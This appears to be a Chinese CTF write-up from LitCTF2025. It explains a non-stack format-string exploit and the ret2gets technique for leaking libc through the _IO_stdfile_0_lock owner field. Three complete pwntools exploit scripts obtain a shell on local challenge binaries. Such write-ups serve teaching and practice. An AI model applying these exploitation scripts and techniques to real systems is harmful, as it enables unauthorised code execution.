非栈上格式化字符串

onlyone

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
from ae64 import AE64
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr(size):
return u64(p.recv(size).ljust(8,b'\x00'))
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('./libc-2.31.so')

#gift 1 is 0x7fffffffdba7
#gift 2 is 0x7ffff7e59420

elf=ELF('./fmt')
#p=remote('',)
p = process('./fmt')
rl(b'0x')
stack=int(p.recv(12),16)
li(hex(stack))
rl(b'0x')
libc_base=int(p.recv(12),16)-libc.sym['puts']
li(hex(libc_base))
ogg=libc_base+0xe3b01
addr=(stack&0xffff)-15
payload = b'%p'*9
payload += b'%'+str(addr - 92).encode()+b'c%hn'#11
payload += b'%'+str(0x10007b-addr).encode()+b'c%39$hhn'
#bug()
s(payload)
add=(stack+17-0x18)&0xffff
li(hex(add))
sleep(0.5)
payload = b'%'+str(0x7b).encode()+b'c%39$hhn'
payload+= b'%'+str(add-0x7b).encode()+b'c%27$hn'
payload =payload.ljust(0x100,b'\x00')
#bug()
s(payload)


sleep(0.5)
payload = b'%'+str(0x7b).encode()+b'c%39$hhn'
payload+= b'%'+str((ogg&0xffff)-0x7b).encode()+b'c%41$hn'
payload =payload.ljust(0x100,b'\x00')
#bug()
s(payload)

sleep(0.5)
payload = b'%'+str(0x7b).encode()+b'c%39$hhn'
payload+= b'%'+str(add+2-0x7b).encode()+b'c%27$hn'
payload =payload.ljust(0x100,b'\x00')
#bug()
s(payload)

sleep(0.5)
payload = b'%'+str(0x7b).encode()+b'c%39$hhn'
payload+= b'%'+str((ogg>>16&0xffff)-0x7b).encode()+b'c%41$hn'
payload =payload.ljust(0x100,b'\x00')
#bug()
s(payload)

sleep(0.5)
payload = b'%'+str(0x7b).encode()+b'c%39$hhn'
payload+= b'%'+str(add+2+2-0x7b).encode()+b'c%27$hn'
payload =payload.ljust(0x100,b'\x00')
#bug()
s(payload)

sleep(0.5)
payload = b'%'+str(0x7b).encode()+b'c%39$hhn'
payload+= b'%'+str((ogg>>32)-0x7b).encode()+b'c%41$hn'
payload =payload.ljust(0x100,b'\x00')
#bug()
s(payload)

payload = b'%'+str(0x069e).encode()+b'c%39$hn'
payload =payload.ljust(0x100,b'\x00')
#bug()
s(payload)

#a=p.recvall()
#print(len(a)-1

inter()

先贴上脚本更好理解一些,本题是非栈上格式化字符串

image-20250528231201071

这个addr是rsp-8 即db98 也就是刚刚的返回地址image-20250528211546836

由于是非栈上格式化字符串 所以我们要布置二级指针

image-20250528212044478

我们就要利用这里的rbp+0x18这行结果

第11的偏移就是dbc8

第39的偏移就是dca8

1
2
payload = b'%p'*9
payload += b'%'+str(addr - 92).encode()+b'c%hn'#11

这段就控制第3个参数为addr 也就是db98

这里是控制第11偏移的参数 ,因为printf 解析参数会根据 % 进行判断,在 hn 前面一共有 11个 %,所以这个 %xxxc%hn 会将 xxx 数据加上 %p 泄露的字符个数写入第十一个参数。

是不是不知道92是怎么来的,我们还要先减去%p泄露出来的字节,这部分要怎么算呢,当然是接收了

1
2
a=p.recvall()
print(len(a)-1)

image-20250528222434559

为啥减一 是因为接收时候多接收了个\n

所以我们就把第三个参数改成了addr,下面你改第四个参数就能改变返回地址了

这里为什么前面要这么多%p这样做呢 而不是像平时那样直接%11$然后接上后面的39呢

因为这样我们只能正确的修改第三个参数,第三个指向的第四个参数并不能改变成正确的返回地址

而是修改的是原本第三的参数所指向的第四个参数

image-20251029211520704

如图 所以就不能这么写 非栈上就像我这么写

1
payload += b'%'+str(0x10007b-addr).encode()+b'c%39$hhn'

这段就控制第4个参数为你想要去到的返回地址,代码中为7b 也就是puts开始的地址,回去再执行。

到这里我们就可以一直进行无限次数的printf了

那么我们拿shell的具体思路是修改栈顶rsp(也就是ret+8)为one_gadget,最后把printf返回地址修改成ret,来触发one_gadget。

正常把返回地址修改为one_gadget也就是rbp+8是没办法执行的

那么我们就可以再次利用二次指针进行修改,把rsp的值修改为one_gadget

image-20250528225341873

我们就可以用这里来修改

这一行就是第27参数

1
2
3
4
5
payload = b'%'+str(0x7b).encode()+b'c%39$hhn'

payload+= b'%'+str(add-0x7b).encode()+b'c%27$hn'

payload =payload.ljust(0x100,b'\x00')

那么就把第三个参数改成rsp(add是rsp的地址)

1
2
3
4
5
payload = b'%'+str(0x7b).encode()+b'c%39$hhn'

payload+= b'%'+str((ogg&0xffff)-0x7b).encode()+b'c%41$hn'

payload =payload.ljust(0x100,b'\x00')

把第四个参数改成one_gadget

明明这么修改就可以了 为啥还要补齐到0x100 是为了避免read把两次读入的payload一次读入

格式化字符串总有这种问题。

两字节两字节的赋值

1
2
3
4
5
payload = b'%'+str(0x069e).encode()+b'c%39$hn'

payload =payload.ljust(0x100,b'\x00')

s(payload)

最后修改返回地址为ret即可,然后就执行了one_gadget

image-20250528230604902

成功拿到shell

Ret2gets

有gets但没rdi导致libc不太可以泄露时使用

master_of_rop

image-20250528231954640

一般来说刚执行完gets函数的寄存器情况,可以看到rdi的值是0x7ffff7e1ca80 (_IO_stdfile_0_lock)

image-20250528232710376

简单介绍一下结构体,它是指向_IO_lock_t的指针

1
2
3
4
5
typedef struct {
int lock;
int cnt;
void *owner;
} _IO_lock_t;

那么我们可以将_IO_stdfile_0_lock开头的0x10字节分成三个部分
前四个字节:lock
再往后四个字节:cnt
最后八个字节:owner

我们来分析一下其中的重点:

  1. owner很多时候会储存着TSL结构体地址,这个地址与libc偏移是固定的,但是当当前线程完全解锁时会被清空
  2. cnt在释放时会减一,此处存在整数溢出的漏洞

所以我们这里可以泄露libc

我这里主要介绍下puts泄露的

2.30-2.36

我们先分析是如何获取libc的
之前提到,owner部分会变成TLS的值,那么我们就很希望能够通过puts函数输出这一部分的值对吧。
但是,gets函数的特性是,读入遇到\n才停止,然后把\n变成\0,而\0刚好会截断puts的输出,那么我们岂不是泄露不了TLS了?
回到之前讲过的,cnt在锁释放后会减一,存在负数溢出,如果我们把cnt的值在gets过程中覆盖为0,那么cnt减一后,就变成了0xffffffff。这就成功绕过了。

p &_IO_stdfile_0_lock

image-20250529001736544

后4是lock,前四是cnt,后8是owner。

这样就可以接收到flag了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
from ae64 import AE64
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr(size):
return u64(p.recv(size).ljust(8,b'\x00'))
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context(os='linux',arch='amd64',log_level='debug')
libc=ELF('./libc.so.6')
elf=ELF('./pwn')
p = process('./pwn')
ret=0x4011DF
rl("Welcome to LitCTF2025!")
payload = b'a'*(0x20)+p64(0)
payload+= p64(elf.plt['gets'])
payload+= p64(elf.plt['puts'])
payload+= p64(0x4011AD)
sl(payload)
sleep(0.2)
gdb.attach(p)
p.sendline(b"A" * 4 + b"\x00"*3)
p.recv(8)
p.recv(8)
tls = u64(p.recv(6) + b"\x00\x00")
li(hex(tls))
libc_base = tls -0x3b8740
li(hex(libc_base))
system,bin_sh=get_sb()
rdi=0x000000000002a3e5+libc_base
rl("Welcome to LitCTF2025!")
payload2=b'a'*0x28+p64(rdi)+p64(bin_sh)+p64(system)
p.sendline(payload2)

inter()


image-20250529003718269

得到shell

2.37及以上

这个版本就和前面的不一样了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#define _IO_lock_lock(_name) 
do {
void *__self = THREAD_SELF;
if (SINGLE_THREAD_P && (_name).owner == NULL) //SINGLE_THREAD_P判断是否是单线程
{ //但是重点是owner是不是null
(_name).lock = LLL_LOCK_INITIALIZER_LOCKED;
(_name).owner = __self;
}
else if ((_name).owner != __self) //我们的攻击执行的是这个if为真的内容
{
lll_lock ((_name).lock, LLL_PRIVATE);
(_name).owner = __self; //让owner拥有TLS地址
}
else
++(_name).cnt;
} while (0)

#define _IO_lock_unlock(_name)
do {
if (SINGLE_THREAD_P && (_name).cnt == 0) //最特殊的点,当cnt==0时,不会再-1负数溢出了
{ //其他的都无所谓
(_name).owner = NULL;
(_name).lock = 0;
}
else if ((_name).cnt == 0)
{
(_name).owner = NULL;
lll_unlock ((_name).lock, LLL_PRIVATE);
}
else
--(_name).cnt; //我们会让cnt!=0,所以会走这里
} while (0)
  • 新增了SINGLE_THREAD_P这个宏,但是没关系,我们直接用(_name).owner == NULL这个判断去绕过这个情况
  • cnt在等于0时不再减一,就不会负数溢出了
    解决方法就是gets两次,让cnt不为0,但再用gets输入时cnt被覆盖为00再-1就有0xff了

第一次gets:
lock宏不用管
输入

1
p32(0)+b'A'*4+b'B'*8

image-20250529002707005

第二次gets:
由于owner!=null,且owner!=self,因此会执行这两句

1
2
lll_lock ((_name).lock, LLL_PRIVATE);			
(_name).owner = __self;

由于我们之前设置了lock=0(未锁定状态),这里会将其锁定(设置为 1)
并且让owner拥有TLS地址

然后输入

b'BBBB'

因为之前把lock变成了1,高位的\x00会截断,这次读入是为了覆盖lock,然后换行符会出现在cnt字段,将cnt的最低一字节变成\x00

结束后的unlock宏又会让cnt减一,最低一字节就变成了\xff,绕过了puts的截断
image-20250529003249014

image-20250529003424035

然后puts就泄露libc了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
from ae64 import AE64
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)

def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))

def inter():
p.interactive()
def get_addr(size):
return u64(p.recv(size).ljust(8,b'\x00'))
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('./libc.so.6')
ret=0x4011DF
elf=ELF('./pwn')
#p=remote('',)
p = process('./pwn')

p.recvuntil(b"Welcome to LitCTF2025!")
payload = b'a'*(0x28)
payload+= p64(elf.plt['gets'])
payload+= p64(elf.plt['gets'])
payload+= p64(elf.plt['puts'])
payload+= p64(0x4011AD)
#bug()
p.sendline(payload)
#gdb.attach(p)
p.sendline(p32(0)+b'A'*4+b'B'*8)
payload3=b'BBBB'
gdb.attach(p)
p.sendline(payload3)

p.recv(8)
tls=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
log.success("tls: "+hex(tls))
#gdb.attach(p)
libc_base = tls -0x3a5740-0x15000
log.success("libc_base: "+hex(libc_base))
system,bin_sh=get_sb()
rdi=libc_base+0x10f75b
p.recvuntil(b"Welcome to LitCTF2025!")
payload2=b'a'*0x28+p64(rdi)+p64(bin_sh)+p64(ret)+p64(system)
p.sendline(payload2)

'''
p.interactive()

image-20250529003520111

得到shell

这种只有gets的题目其实还可以利用magic gadget 但本题不好利用,就利用该方法了

这个retgets没咋碰到过这里就在此记录下,个人觉得写的也比较详细了,现在的wp基本都一句话配个exp就完事了。

前两题的话都比较简单,第二个侧信道爆破也都是板子题,套个侧信道就出了,不懂的话也可以来问我。

具体题目可以跟我要附件(联系方式我blog的那个文章有写),或者nss上也有上原题但是要金币。

最近不知道为啥,挺emo的。

参考:https://blog.csdn.net/2502_91269216/article/details/148261096

https://mp.weixin.qq.com/s/B0GQkwj5t1vhd4EiKQ9atw

https://xz.aliyun.com/news/17965